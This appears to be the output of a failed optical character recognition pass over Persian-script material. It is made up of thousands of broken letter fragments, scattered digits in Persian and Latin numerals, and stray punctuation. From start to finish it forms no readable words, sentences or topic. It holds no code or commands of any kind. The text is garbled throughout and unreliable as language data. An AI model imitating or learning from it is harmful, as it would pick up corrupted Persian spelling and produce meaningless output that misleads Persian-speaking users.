اب تست ورناست ب ماس دنر
یه ۳/۰ مس 9 2 مر رت
مت نتسه
ا دورو و وکو نب سیر
ریت را ارب هکت
ِ
شرت ]7 2 ی
یت ردب 0 کب رز
م7۳ وی رت رم شور دمم ۱
۱
۳ رد
۱ 7۳
تست یس تم
۱ رازگ ناه شتا م2 |
نارآ نگ رعزر رو رزست زک ندبرت ست ۱/۸ و بدا
یواست ت هروه یاس ی
2 ۲ ۳ 0 7
۱ رک ندوبن رکذت ده
مت رتست من مرش کم برسهه
۱ یت در ریس
۱ 9 بر
شم ری شدای مک ردو
تتیاشت یی رد ۱
بدا کشت
۱ اک 22 دس
| یال مین رک نامر رورت زنین ۷
۱ ات ره بت
۱ سین یگ ض هش ِ 3 ۱
ا
رک وک ان رکفت مر #۳
تعیب رن ور ریت1
7
کر 0 2 ی
دار پگ نع ان سف
رمک کشت ون رح مت دون بت
نان دتورتیان سا رون ایبسش سکس متا
بر مد سر و , ۳ ۳
4 دنل وستد رلک 9
ردص ری ی
سامرای که و ی ً رک
ره ارجا« س و ۱
7
ی دشر یس تکرب طر تک نموسپ ود سرلقا وت(
زر رک مب مسج ۱
مرک ره در تسوت هکرس
ست ام ۱
1 ۱ رب
وش بر ی مت مه ۱3
«ردات دصعات نا دی کر لت ریا زوا طرر وی
و همست پیت دی
ام سپ مسرت سره ارت ) برش یی
رتست مروت وعدث رات مس اول وروسء را
لت ما وک اسر شد نیک ینب 7۳ ور دی
ار رونت کت نکر ۱
بر > کی انز با نکر سر 12
0
ی دار وود سکره ارت بر ۱
۱ رانا را ریت مر مک مت
منکن لام یک ری ی
تیربک 5
۱ قاری دبک انس ت نامر ی
یگ بسازفرگ یی خر وه ور ما
۱ ایک ایس زیر »کار دنک
۱ 1
تون یگنشت اپ
تنس بت ۱۳
اسسسسسصح
7 2
کت سورد یت اب ۳۶ ۱
9
| اشرسن ارگ لت رسرش دنمس لت ۱
نات کلف ده مت ییاه ۱
تم
ریت مر
ون نع )رت وت را نک ۳
سمل شرس یکلبه باکت
سراریشبت [ کت مر یر دی 2 وش شوت رما ی
و رن
چ سگرن باکت
رب تسوا ی ا
کش کرک کنو دیسرن ۱
گکا
نیش دک اد |
سري رن رام طرل رن نت «ت دب ریت | ۱
مشب
بل
ات رن 0 سا زبکتومت7
1 7 ۰ رد هم 7 رس
آ اسر ید دید وتو رتیت واگ راز درون وم ول«
۰ ۰7 ی
سین سر یک دما دز یدیل بر وم
لت بر صت ریز رگد م دنت یا
۳۸
اعن ابرم کت زنرب
ْ کال: همست ی
کدرا مرا تخیر بر کین و نکر
2 9
وت روا ی تکرش رتست رن بش ما
ن ٍ ۵ سر فک را
اناد راردا ۵
2
رت با تور ری رنب ام
ماه ندیم سم رت ورن زیر ی
کسیه بت ی در مب
سح مت جح
| لت + ما نکیل برش اد
کین ای رف یگنت
ما دای نج وس نت بت
اسن بات بابک ربثرلنت الم یه
سین وی ورین کی
2
0 ۰ ۶ 2
۹
| ۶ / "/
رس رترب دی
2 ات وی دب رز ن
ما
اجان بوک
نت ,وبا شمیت ریاف رب اوتریرو م ی ۱
باه تس ادج گت
۱ کسیر ال 0
کت دننک
س ی از
ارت ری یل ۳2 رت ترا ۳ ۱
ی جکنت زور یطنیب(۲9 ۱
رد
1
۱
1
بر ور 77
در کرت ال مت ری 7
/* ام ۰ ۰/۸
یدنج مان مه لت رک رم
۳ یب و دا ما دِ و شم ,زب ی ۱
هط ده ری رل 0 2 رات
ی
مرراوعبا ۳ 7 رال 9 ز یات
ای دانهانددل مان ۶ و تسش ام 0 7
اد شمرن | مر و 1
سر
کت ای کیت ثرا رتست رک بش
کشت یکت ترا و فا مک 0 ری
شوپ مت 1
۱ مرت پات ام ی
یا انم بت 2 ارت ان 1 ۱
۳
گر گرم درب یر یی ۳1
ار
رب ت رت ریز
سین 4 مرا ییا رین در ۱
رف رت ماج لیزبزدا ۳ سرد ه مرن بیط
روز دران! وس وب یوت تس
2 رک 3
کر
رک |
مُ مور و وی هدر وشن ۱
اس سار ریت و بت ایرد یک 7
رونت اب مت ره انترا پل دم 5 ۱
ی ی دنت ۳
۱
یتیاور ایکا لاب این
یم و ۱
صه.
:
۱
۱
۱
۱
5۶
مرب شر هب کر ی
| | ا«ریکرربت فی کل و راولب د؟ 7 هو ینت
رم کزان سر نش
مر 2 7 / تن ۱
یاه وربرل تست دون تسوت + یله 1
ره ار
اد رای رو روط لد ب رت ۳
۳ ی 4
جرب ووم ویٍ زذرالشت ادرومزاسیتاشت م2
ّ یه ح ۰ ۳
رون وی گنت بت ای ییا ست رازه
: ً_ هد ره ی ۱
نیت مين سینت ریز
۱
۱
۱
بری عم رتیوت بیان رب ۱
رو ست هکرروا وا سم دیسر ی رت
اطا تنل | دنک( زان کرین ور
رد الم 0 ۳ ام 2 1
هه رکشت ایبرکنا مشاه ناه
ینس اون یک
1
۰ 1 ۵/۰ سس
ایب ر انم ۱
1
ان یی و نبیر ی دار 2 1
1 تم رت
ی رز ری ۱
۳ موم م#- ارت ری رو 7 ی
میلست رگ نامیس پیت
اسف مر پا مش
تست ی
یش با مدز یت ند
رم ینس ری رای
شین مش ی
مرت خلبن! راما 0
رتم مرچ یبوط
ت ست تث تکا مره( رل
درس با سپد رن ری اطان کر( 1
راو ل, ند 1
۳
میرن
۱ است نو ری ۳-7
آ مک مس شاه وم رتاش یر کب
رپ دسج
۱ ی 9 سور پر دافم ریز تا
| |
چررونشم که مت رس شود موم زک نیت
0 رمو مس نز روط ری
۳ دز لا کسته ین )1 0
ارت عزررچان کی !۸ تین
" رت انس روت یت
ا7 مین رک رینپ تک 07 0
۷ ایس
۱-9 نز
۳ |
کول مودک
۱
۱ :7 ل نم ین سیم نی ۱
7 7 ۰ ۱
شرست رکش ت رادم با 1
رن رمک
کر ین مرگ یر سيم تِ 7
1 ات 357
بلس تنل
زور ما ۲
تفت اون رون رد
رن | نت ی
0 ۱
ات ۳ ۳
شمش مس مسسش رد ور رها سم وک اور متیر
5 ره
" ۰ / 2
۱ کشح ان ین زر سستمر فا
| رن زد
زین بت رن
میرک رش میت زیت
7 9 3 ی ۳9
ره ۱
ص
َآپکد تست ۱
۱ رن رت دیول کش وا
ِ 1 راک دهد دشر ی را
اراس بت رالاس و
کشت ات یر کم ینت
ول زر اشت ۳ نک
تيب رن در و 0 1 ۱
ون روشت درگ یر مد مرت
روم رات رگد کرحت | #7 اس ات ربنسوب
و نی تیب بر مش شلد ۶
موسوم ۸ مان ردیرن تج 7
۳ راما لت ٩
۱ اه نت ی رف فک
اراک نم ی رد این بدا
۱ ری سابل رنب بل 03 ۱
|۱9
1 اه نی مر ۳
۱ در نیمه ای بفررسش با سرت( ار زره /
۱ وی مت ۵
۳/۳ 0
وم مرو وتو روز ان مرو رک وا یتمه کتک
7 1 " اد ۰ ست
8
ار ۷ 7
7 یک هام یمس | ار ند
رارکت مرول هش سم رم
ا 4
نیکست اپ دون تما
راب ## سک ما ریت ی 4اره لب رن
اسر منت تم 3 رف
0 ۱
مشک 0
9
۱ زنگ کت نگ
اکت مر کر رت لجنصت
مت
۱
7 ۱[ ارت مت مرش ۳
اض ی / بت واژال نع کت اقب
مصوان 272۸ رورت تسامش تس اس دس کشت
تن رنه 3 ار 1
ّ اترست بسانت وله
وم لمیر فد رکفت رای 7
زروادا ناناب ورارمز شنت رن یک 1
تن ن ٩ 2 و ند ین کید مش
و 7 لادیی رک ینت نها لته ار )|
ارت 2 نیزا کشت ها شوم ام
ی تست ری س بسانت 1 زاب او
آت ال نيد
بت جرپست یاه نت کر
1
ینت رت ار رت زر رو ییا رد|
۱
نید رازن ]
۰ / 7 ۰ 1 7 ۰ 2
لبنت 7 مس وتات را رازن سیر الم 2
روت کیت جونراعت سوام رز
/ ۱
من رشن مد رن نت
صّ م / مارگلت ای ماو یرت
روج نت ری 9 متیر گ؟
0
اتکی یسم شدای
2 مست
وروی تن
مت باکر رن شم الم ۳ ورتکنشه
2 ۱
رک کت تس نت 2
یت لت امن ثررزست و
تکیت ۳ و
مر نت زر و
7
َ
اا ود سر سر سامت تشر
یلسانت سکیا رن زک
۳ ۱ ۱
2
۰
7
ا سست رون تور تشپ رو مرو
2
۱ گنت نا خر ری اراس زد
ت_
كِِِ ی 3
۰[
ور 73 نیج کته ادا ن/ ددزان ان
ِد
زگ وق من بان سک |
بر
شود رزخ سب رکز دسر +71
را«بافت بر ۳ لیر زار یس رکه شست ان برس
یه رد دس 3 دوه
یمامت اوا رت رٍردری! 7 ور ری شک ره مر
۱ | و 7
این 1 ام
۰ 7
ایک نژ سنارت ند ری ۱۳ ۱
اج
بسح
اب 2 9 4
۹ 7 ۸
9/1 رز خر ۳ سل ۳
نت ۳
ره رت
موب رت دبای ملاع ات
۶ ب ۳9 ک 7 ۰ ود
رات درا تست رنه و
7/۰ ۰ ۰ ۸( ۱۱۵
مر تانب ضبن کر ۱
2
۳/0
وال شک مر کت مک رکفت یرل
7 ن
وش ار نم نت ای اغیاستّی وراد
هن قیاق ۰7
ندرگ شمش نار دی رکشت کم سم
تموشمون نت( مایم 1۳
شرت وانتکا ما بل کت اب
و
9 سا 9 / اج مت
سپرزط تک نسوپ بر ارور رت(
۰ " و ۸ 7/۳
کرک تاذ تست زک ان وب
9 رتست زگ و ۳
ارس | ورا زک وان موز رت بر راي تا
تصش
تج و
/
کپ پر دنت یر نت
9
تن رز نت
7
ک
7
5-4
ای اس از ۱
رین رین دنمان ۱
ین 4 8 2 ل توشت پم
درل
بر( روت وت یواست روم سح بر یکره
مق ددیتریچنپسو نات سیر ۱
۱ ک
۱ زان #زرکتضور رز مدرشت را
۱
4 ۰ ۳ ۱
روا رک الم رده دار درل جر عا مروستب مضس]
1
۱ ۳ وم مادام 1 دوز
مر لبم مس مت ی
ام ارم ی مد سکن رن بسن
۱ نش م9 یر ۳ یت
ال 9 مب ییات [ 2 ماس 9 1
سح
کبس ور ۱
۱ 7 3
| ۱
سک 1 ۱
9 مک کرد بزان س ول ۳
رن 0
ار ورن رم ینیمز میا
مرت میک که
ی ی
۱ دوم ی روم میک
0 ال یآیا ات ۳ ۱
مسبت ادا رک رات ۳ تب ۱
ور وت ۳ لاس۱۶2 7 مک ۱
درل تن وش واعبیک درو 1 یک / م۱
۳
۱
مسشه پر رم نتب را منت ینت ۳
رین
اس رح صرح 2 حٌ|]
ررشت کر یکرت 1 0 یف 2
رکفت )مت سین
وان ی اران ۶۶رد اسان روت ما9٩
مرن خر
ارسپ زد فلا اه نا بریسرا مس 7
۱ یادها دست ا وفز کش تس گرم دت
مینست دنت تم زگ
مه دنت و
کش سس ساب اور ریسا
سر نی یبن ی ۳
۱ وت نزن نیتم
یر /
۱ رد مایت کر من روتکو ۱
تشه 1 رم مدا دا
۳
۱
۱
۱
ان زد کین ۳[
۳
1 کر ام ( و ۱
رز راجت گرا ری ت) 2 رب
۱
۱ یش شرس وگن ۱
۱
۱ مین کر 1
یلیم نینط ۱
ری رخ ریش بیرف رون سر |
نم کل تک مس تک زین 2 ۱ ۱
میا شاری,| دراد تسش َ ۱
و کشت مرن ارو رات و
رم و رد روش اء ی 9
مت یت رات بل
۳ 7 رنه مضه ۶ نا
۱ | نت یریشم خی کی |
یتبث سم یکدی دنت ای و
اي وا رت دی رم ورین ۱
یز
۱
۱
۱
رد مامت ره 7۳۳ 2 کب
حم
۳ ۱
۱
0 ۱ تاو ۰
ان شهج نا !ما سيم وان نع ۱
| نهر یکت روانت) کیب شا ۱
ف_ د شرت رب ۱
۱ 4 یت زر زپ نت ۱
۱ 9 2 رد ی ۱
4 ری دزاس توب ۱
۱9 و مت ت72 ۱
۱ کت رزیت توت میت ۱ ۱
۱
۱ رتم رکشت اب کرو در
سره مت زا ان ۵
۱
یی ار ویر یکت دز یی
2 ی رز نکر نت نش رک
|
[ د رن ك [ ۱
اح سا ۱
۳-7۹ بت
۱ تست
ری دب من مت بر ارم رود : ۱
| کت مین سپ منرت ۳ ۱
ا مس مر یگنت کرو دامن قرع امه
پلقص دا سکن رامباسشت نت
مناد سکس و امک نش مس زد
ارفر لاب | رت 7
ای مر 9 یشم 7 رالات ما
مت رم مرن مدا ۳
ی مشچر رن پا 1
ری دا کین مات[
0 شرت گت
من ادرت امد ۱
تب سپ مت سر ا ردنت با ۳
رکشت زر ی ها 0 انا حترمزه سم ۱
مب , تشم دیجم تتیت ۴
ستت
11 تما ت ی رن که
]نس در یت 1 رت و
۱ مر یگنس رید ن نوم شتا |
دص نزن رس ۱
ال لش مرس دس د ره 9
((#2 من رن وم نان دا رتست اه
۱ ایس روا زج | باشست ات ۱و زش سو ات بت بوک
0 اف ی رز
کرو نت رازن مب رات رب و 0
بر مش
ار مرت ترتع اه مب رت
۳۳
| تپ :ردپ وود تلد و اک
۱ ۳ ۱ دم
رس لد مر
۱ ایس زول ترشت موس(
شتا دندید مت ۱
| ۳ حه << |
نیرمت نب |
۱
۱ ی 7 7 وش
1 رات تسوا لگررلس نت تمر یل -۸
2 و ه ۱
ی
9 ۱5 ۰/۵ رم ||
| سنا ون ماس مه یواست رد۶۲ ۱۱
نو سره ی تا زر ی رن سیک ۱
۱
۱
۱ و ور 9
نوزم مت اسر مت ی نك 0
انیت 7 : حل
ی
9 ۳
و
یر
۱ برررنست مر زمر
۱ بت دون زک لیر 7 2
۱ سرد 0 سر
|ست يم راکا تفت مرن نز لوسر
۳/3
نس سای | نو ظ
ست زمر رم |
دنت زر ک روک
۳
و 2 ان وب رت 1 5
م
رو رکنم ان رس
سس
۱ دب سا نت کشت ام ره رذن 7
وا
27
از یرطب بو نتم ۳
رده ی
۱ مرها رام شک مرن رس ربتک
۱
رس تفت زرد دم
۱ ر رکسحوزيومکازنست سر تفت ارک نت
.کال
۱
رت مرینکات ال ینم ۱9
۱ کت پر ات ام 0
تمد
9 ۳ منت مینک ِ و
[۲1 ۳
تست ات م رورت زست ما یت مر ات
لس ند کت پیت ینتب
سک نتم
0 دض نو شور
2 رت ری ش سل رغست 2 ی اب
ایاپ کر
«انییتب شم دام ای مب" بِ نت | ۳
مب سل
بویت بر میم شا کی ار" 1
اوا رت سس را ارگییشی تم ی
ك ور رک تج گیپس تا رم رت ۱۳
۱ 77 0 1
۱ شیک رن
۱ ۲ روت 2 س کر مگ
0 7 1 رت نکر زج نتم زور دب سازن 1
ین کر تس ان ای
رم یر ۱
لک جک رک
کر ری نیت تاه
/ 2 3 رم
هت رد ام !ای
کی منک مگ
7 ۰ 0
هماع یبن رود لععار گت 3
۱
۱
۱ از ۳ ۱
رن اس هنن رمک
۱ وش نیک
۱ سرت رت دک سا تررر 1۶ لور #7
ینوی ید دراب وتووا سک ک یگ
[
۱
۳
زا
۱ ددبت ین ما دار ناسین دلاب وا زرا ۱
202
مسج
۱ رف رکف رت رو 1 ۳ 7
لت اش کرک رتست وا رت
تم دش نم وا |
۱ ۱ کی ۳
7 لسن بل رس کت
۱ عت گم رت کر سب
۱
۱ فو و نگل شد یضرا نکر مست دزن ۸
أ
ان
یت کنو زاره کال سرا بر
۱ رن کر 5 7 1 90
۱ ره
رو رت ورن رب نف زان روسب را 7
نوش راب درو ی
۱ کدی روتنس خ ات
7
- ۱
۲ ات زرم رت ید 0
اتف ایت ودک اش مق مت ی
ار و رتست مره مزر رت
۱ نت2
۱ | راد در ادن ی
| وعیازنمش ا یر تک ره
مومس بای رک
نگ زوین رز زت
ااسدین و منت رات رگ ووشست) نکن
از ریات و سکن زا تب
۱ ریت زد
۱ تن ون رم
کي دم کر روک
یت اضر رطس رون ی
۳۹
۱ 4 نان /7 راتخم
من مکی تکرش |
۰۰ ۳ ۰ ای ۳
ینک دهشم پر تک
وی ی اد ی ۱
رو رت دب رسنت راک توقای نت
ی ور
ابا زرم بت پسنت و ولپ یبنر فپ وشت و
سکب میرن
ی مرن یتفرگ
۳ ۰ باه امن یانب ۳ بقل
ریت ند رپ ی :
اشا گرد مره راو اس ورس( 2
رم کم ۳7 کار رم وم تن در 7
ت
9
کم بارش ام ورد 7 سا
رن ریک مر یکرت 7 ۱
تفت را یی ورب وپمبوانیل 5 رمک
۱ و رات( رن تین مت مس
۱ هکس یت
یس چپ هسب بر سح سس سم
۱
۱
2 > رح <<
۱ | ری در 7۳7 ۳7 لت نت
| اس نار سرت 7 کار کت ِ
2 اک رت
بت ور
۱ یر
این تشگ
رو کرش 1 9
هگرب نهر یکت روپ اه رت
| ما
۸ اپ شتا کلپ لپ ین
و کب 1 بط
یمیت اد یریس
درو ضتش هر نا کمن کار 5
ی
تن بت رک رس ر را شمه ام رکفت ماک
1
3 - |
ی ۱
۰
وب 2 7 ی
سال تس دس ددم« مراد هر مه ووا/
1 هط ۱
لت این رن وت ادن شاد رات ۱
۲ ۳
را رو ام مش ما روز راز مور و و( ] ۱
۱
شنن رپ مس دم
لت زان مک من ال دی
نع ۸ :ورد ( زر(
يمهم ذل رشتمم ی
۱
۳ رل مت ماش یمرن
اش نتوین یی ررض
تورتر ریت
: را هش
بک ص |
۰ ۰ ۰ 4
٩ ۹ یبال
ی ید وزوا لاد یاسور ۱
تک > ۴
رل
۲۱
۱
۱ #1 0 ۱
/ 2 ۰ ۱
| اناوپزرکست ای ,سین رش تک
|
اس 77 77 تاداس 29
رم دنم
دسا رون دور مس
وم را
خفن رش تفس دور شم وی وا کت ی
۱ 5 | مس
۱ ور مرا کنت میت زره
۰ ۰ ۰ مج
تست( اراس گوزره ما ور کت
۳ کال ات لسن وال2۶ دری) 3
9
ب
۱ راکو دار رپروس از یره یسب
7 ۸4 ٍ س
ریش برو وا کر
ح ۰ ۰ : کت
مرس ری درس ریت اسر تفت ایرد ۳4 7 ص
1 ۷ ۱۳۳
۱ ی زارسست رت لسن ان
7 و س
0 رک
ریت ست پرنو بت یواست ایا مرت ی
0 سک
۱ کوا و دز ۳97 ۳
او
جرب ناتسد یدیل
0 ۰ ۰ 7 ۰
۱ رون یمس در ر رو لین تا
۱ وله
تم
۱ ایکون یک
۱ الاتجمال زا وردویای بات ی ریروشتور مین ۱
۱ نیت مار تک معا ۳
وال رت وکاهنت! ی
۱ یتک وبار) درب ام ند
ا اتید رت پم رن ون لوط
1 و۸ ۳
| و
ی
1۳7
۱ ند دنه ۱
۱ و ین انم رکفت زنل
۱ من ر رز ات رد سر ن/ ۳9
تن یو ۱
۱ | بش میسرت بیط مه ث
یم ۳۳| با
شرفت ردو ِ رد ام سس
رنه نک شلف کی رن 7
۱ ام 77 نا کر وس سرا مر ری بر
مت ۱
۳۱ دب ش میرن وم مر یر تون من سب
7 / ی
رم رورش را 0 که مد ۱
ات
رام 4 ره نت رم مت کنر
یس ورزر وش ره 9
۰7 ژ
أ تت وم یت زر ۱
ور
و ورکست/ م۳
ز
۰ هه 0
سروب رواب تست رتست | رک ازا۷ 9
اور
ی
ز ات رز ات اک رز اس رورا
وک بیلفتناکبزنا نکدانی یرد مرا گس ۱
۹
وا ای اد ام زا بت مخز ۱
پیت زره ال ان یس نع بت ای | ۱
سس[ ناکت ار و رت #۶ ۱
مرتو دما ژاسام کش ایور 0
میم ریت 3
۳ ی و مرش مت و ۱
مر رژ رت کرنن! رده زوا 8 ۱
رت
۳ لگ
مک
ا نا دزد مت ۳ ۱
۳7
مان تست اارنیشت* ز- کی ۱
ان ددزیس ال منت دنت
4 ۱ ۰
۳ > ِ |
72 و نساب ارو روت یی
۱
۱ 0 انز رک دزن مس تکرش میت شم
أ 3 م7 ست
۱ رز عم تب بت رپس تکرب شا سب !ون ون |
۱ م2 و 2
تست نوزم دال"ست 7 نا مت ارمطا ی
0۰
م تست امن نیام دا رون نتم رف وا
9
7 رتل کت ار رال 78 م 9
10
سنرست پل دزن تیدا مش دیاین ۳
ار کچ کی یرو ور
کرد سم و تفت | ۳
مهافت این رتور ری سرب ادا
روپ نی من سنوت
سار مب میت «وو ره پرکو 9
۱ کرک اس ای راد تا
ربب 2
2 ع مد بالیس زیر
9۳۳ ِ
ی ۳9۹9۳ :
۷
بان ایرد الط يامد ملد هرود ماو و9 ۱
رورش را رش تگو فا 7
ی رد ی و ۱
زان رن
کلیس نا ور 231 0 از کرام 7
/ کرادم لت رن وم ات کر
۹ 4 رگ نکرارشیر نآ ارو 0 رک ۱
70 ار تا ون وب نت
خر وارت دار کیان ی نُ ود
ت دادیرا نگ یوم 0
تن نان مرت
سره نی رت رف
۲ 7 ۱
دس هت ارو
مر رن ریگ )لوا ارو دنت من رین 12 |
و رنه نا
نتب ند و منت مت
سزتفرز ری تفت | کر
۱ تفت رس اور 4 رل مر َ
بلیوْت رادار یره ی یر ۳7
0 زره
یم رت وا رک دی بش در
ی 7 رپ سور اک ال ی
یر لت / ستززنک: 2 رت
7 1 کنر مر ۳ ریب با
۱ ان ری سب یا ده ۳ 9
ری رپ ار درا 2 و
کت کار« هت گِ
شاج !نتسش 0
بر گت عمش یت انسیا و ری
ا ۳ رالمعال رورا ر رگرانتدس تا
9 ۳ ۳
ا وج 3 9 م
0 سل دا ا(دو یتابن باس بت مب
0
درو
ینتبم کرش مر 3 ی ت
أ یت هسيفسودیت|
۱ تفر بت نت من ریش
رد نگ رک دب وا 0
رود رتفد
زر 4 نت ری رت
۱ ممر سيم را
۱ من دی رک گر رن
ی دار ]
ما تظرزذیرداراری)
۱ دزاس دراوسشي تنم زازدل »| یدای
کت تفت ایک رفن رتش مت
نز دض مرس عت
سح >
۳
رت سوت زمرت رم من 7
رد رمع » ای 7 تن یک
میت از ر تست ت
۱ زان میرکت تيبرت پررکست رود ای
0 ۱ کر راید سکع تن یرل
۱ 2 رکشت تاکسا ۳ درا / رو وا ررئم
ذت) ان روا عم یس 7 را
یف رن وه مر بوک پسست کت لا
در ی ور
را |[ تن بای تیتاپه کر
آیلکان مرو من لین مرت رارست | ۳
کتک
۶ ی
ینت 1
ان بت تا نکمم که 0
شیر ری و لور کت 7
رم مت دنت سوم ور را
عیشت ۱
۱ ای 2 رمشاشت ما بست رن ۱
۱
۱ رمع ترفن رزارست ور
بتکوز ویر ارگ یت رنت موی ۱
۱ 2 گس ضایر ۳ ۱
۱ وید پر رت را
تین یز وت
النت/! دس یکناس سرا ی! رس تکرییرا رانا ۱
کرانيرپست کشت رن ۳ ۱
ره 5
۱
ره رم جست ره را سروب وا و دش ی
ی ِ بل نت رس دوب ,«وران 4 دروف 2
ی هم یایب رصضفزت]
نتم پا ۲۳۳/۱
0 وا وف کرت تمه
1
شیپ یگا ی ! ۳9 رز رات تس
۱ رپرترگيي وا لک ده نمکرت ! 99
ات شور یی بانط در ده
/ ۳ دای
من رورت شابهستپران «ا ری ۳۱9۵/9
۷ رورم کت ن نتب نانز رس
ا2 ۰ 1 مرو ۳9 1 بت
۱ ی هس۳۹ ارس لا
ینت بت تست ات مر وط |
مرکلز مایم تم تسده ۱
مرن وس مرج
۱ را اور شنت ور سای تب نرلشت مر
۱ رسب ی ف بت وت _-
رایس نب من یندب 7
۱ 0[ ۳
| رت امک رد رش شرت را رش
۱ ترا نت زا ِ
ما رد فینصت پر ترش
| | !مکن«سرست رین 9 مزر ی
و۱ رکفت ار
را زر رت رکذت ادا 7
7
استبی رما رت ی
ی وک را 2 ای دور نو
۱ تور تک ت کر رکفت درست +۱۱۵
۱ ا 1 ۳ رمست ره
۱ رس ات مت نت
دپ ای زان هک
۱ نکم تپ زک ان را
کف لیگ ۰
ح- سح سس تسس
سس حجم
اه آ رنه سر دم له
)راب ۳
رمرط شوم وب از نا رت
| ِ کت
۱ ارزوترستب مس دربب نع روا و نیب[ علنسردا رو
۳ ملست 2
روگ تست دنر 1 مت
۱ ارت ۳ دنزب
| ۳ کر ار سرت رب 91
۱ آلنت! لیام 3( وس گت وه ۳
مدب
0
کر الم
یس رن ۱
رتست ۸ مت ای پسپردر زورما رگن را
1 5 تن
ای مر ی دناد لو ات ماو ارت ورن تا
۱ 2
۳ : : صل
فیح
هچ
2 سح ۳
|[ شمش ت نیراد نت مورعون ری ورد بش |
| نتب ال رک نییان
۱ نامر ال وا نت ره ۱
/ 1 4 5 ۰ ۰ کم
موسر 0 الیل بان مدب نس
۰ ِ
م2 ۳ 9
بسالرپ نآ هنابش ود خیش تک | ۱
۱
۱ موی مس ی ری 2 ۱
ی و ۱
۱
ررتبرت ریت مد ورد دم رت
0 ۳ 2
هنکن عبط رین رس
تروش ی را ی
رن ۱
بل
ما و اش ان رین ردو ونر
تست رآ تبرت دریسررااطا نیرت
9
الک ۳ یرو یلم ارو ۶ 7
۱
|
۱
۱
۱
۱
|
۱
۱
2
هلت ارم مت داد مسق
مر رده نریم امه نت نف
۱
۱
۱ | یگاشم رود روت در بس و
سرت اه 7 رود
7
2 ۳
مینست بل
( رات رد وب نت رضی تن ۷ و
اف ینم و و 2
۱ مبستد ای کت رون کشت رکه
۱
21
۱ مینست مان واگرم ی ناسنا اد
سر مسا( وم ناد بش هنت رت
در ن
۱ لت مراد نس هکره مها
ای سیب دریگ ۱
اد ر سشه هی با دروم نت در
۱ ست
0 رن ور ررض لد للع ۱
۳ 772727 رن 0 ۱
۱
۱
۱ : » را
۱
۱
هم
1 ی بست جر یت ی ]|
رد مان ری دای 7
2 / هتفر ۱
ار یرب و وم تک 7 تاد
۱ 1 5 ۱۱
۸ ۲ ۰ و م۱۱
۱ له راشف رایا سل کشت ۱
ینزب | ارو ول زر ورشیت مت ری
مر اس کشت سر رم
/ ۱
وم فان موی جر 19 داست مینست را ۱
ن رت ,منت ۱
ی و مس کر
َایسروت زن نع |
۱ ۷" یم بر رورا 8 ی ۳
ما ین رم رپ رل ره ی ۳
۱ رک سرت امک رتیت ی نس ۴
2 ۱
سل مگن یبن تا سیرا وی ای
[ | رتنس |
رده سس نت مت ۳ ۱
۱ حص
بتک 7 یش رم 0
رین سس 4 زا رشن
یبلق رراز نی مرن وپسرنرگا 2 ۳
دب مرن سکن بر ًت مر
را ست و ری کرد و 1
کاب کت مروت نت ه 0
#7 دنا ربخ
ريس وتورا ی
0 مت نتم اک
0
۲ لت بت شنت و1 بر
درا و راد اسف بر در ول ونر زا نت
۳2 رت ریش کت جرو) نک
ند مد ون
2 ۳ کدف لا 7
ح<
۱
علست موادم ماب ری دس رو ۱
ی
س رسب رت مزع
سره و رکشت التبا 4 ِ
زره ست کشت ایملوست وزرا هب ۱
39
1
3
9 نت رد اسب 0
۱
و
-
تسد مود
مات ای ثم را و
رت من نک ور ود
تم مک ره رنیرت 0 0
شرب ا کت اک کت
اروت زمره وی کرت قرو ی 7
کات درو کرو ازنتزک و ده
ماج هد شرت ی
روز سره ی نس
| هکره وان ری مش اش
آر< جح جح ح<
۱ 7 صتح 7 ۳ 72
[ اشوس یینپنوست ب نامه رنه یو
0 5 ۰ 79
۱ زر ف درب رعش نت نان ۱
۱ 2 2 بوتسولس ت
ام تست سر ی کات دا راما ک رتهب
۱ و
۱
وت رسپ ینت یتسد باس یپ بارش ای
۱ وج ۰ / 9 /
۱ مار رو وین پر رکب
3 3 ۱2۵ 1
یکت ال دبک
اس
۱ و ۷ ۷
۱ روما برش تس 5 رویاررست"ت طاوس) 0 ارو دا
۱ ۱ رکذت نز سیک ار
۱ : ۱ |
| نت بوک نشف مروت زدبیان رآ لش تا 27
نیمز صضت ان ما
ال ی و و
2 سم ده ۲ لیس اند وس او ابص رل ایال 22
الا ه اه ی رام
| نایدا رت کت زو نراسست دیرازن سنا مس تکوو کم لو
۱
۱
۱
۱
۱
۱
و ۰ ل ی ِ
۱ بت ادن مرش ۱
20 سر |
۱( درزرامت همست یدام وزیا پاريه مرج
۱ ۳ ی ۱
دیا یو تسم تاه 4
اوسالي) رت پر رارسا تنایص ۰
ی ۱
ال دای رس رت بکرم پاک ۱
0 زر کرد سروب یلجت
۱ ناگرا ی زک ۳9
2 زور هس
0 رن تیب ۳۳ ۱
نتفگ
الیل تا نوی سک
وزارت اور پر ۱
ری توا ی ۷ مر ش
وی 2 9 وان
اب ۱
7
۱
۱ مت مت ۱
۱ باس یرطق بر 0 :
۱ نان مزب زرم مزع و9
رش زط رو درو تراکب
عادارر وا 7۳9 و لک زاو رم پات بسا
جات نمشد ل رم دربن /
اس )ورپ رنه
الش توس 7 شیر وک انا سکا درز وال 7
تاره بت شون
نزن رهق ۳ ار معا ریموزژه
۱ ای رک یی رطف
ریب اي رس ۱
یبن زک رس
ابیت شا ره رسد یسک رک بمس مه
۱ و نی رتمعنت راسنت کت ِ
7
51
5
۱
ا
ا
بت
۱ مت فک دنه
۱ ۳ رد يا
بر ترش رال ل دپ ری دمررنسته مر من زر ۱
یوخ «عزوسب را وت وپ ورن را |
7 1 تون دورن یس رزیت | |
ی رف پتسا ورزر ون برش
۱ یت
۱ ورس بش6 بت زوس لیات 2 منت او شاداد ۱
۱ و
زد رک مرت )ده نا ۱
۱ تن از
دنت را سا ند
روز مرت رس رن ی
1 ات ۶۳ رن نت ِ نز نار
نت یقت ان مزاب زگ ۵ ۱
7 و۳ ۱
0 درسنت ام سع ول ۳ | ۱
روش بت بت نت
1/0 تت تن تن م1۷ و
۱ حاپرزس تام کم 1/۸۸ گت 0
مر داره رآست رو ۱
فد سور
کنر مننوزفریت 77
2 0
۱ ات ردیر «ریرم یدمن هه
و0 ور نت رد
أ رنف
4 رم یک مس ت رات ! وروت زاره
۱ ۳ نت
۱ منت سرت رو
رکشت نروس تنب رن
اتیب 0 گ مین عس ون مق ۱
من ریت نس ۱ ۱
امسر یکت مرن بر ام وگ
یک ی دوشیم زد ی وین مین ابا
و
طابر مرف ۳ مل و
دبای راسنت 0 رت دیرب ریز تب
جل وی ریت ۲۳ ۳ رن
1 زو و رن درز ۱
وت ابر انار ريد کات
ود ارو مرت انرب نکرسبرگ ما
ماک راهن مر «وداساهیز ررز دافت
نت مر ان ند نوس
نت ۳2 رخ یواست کم ن مت عبن وتاب
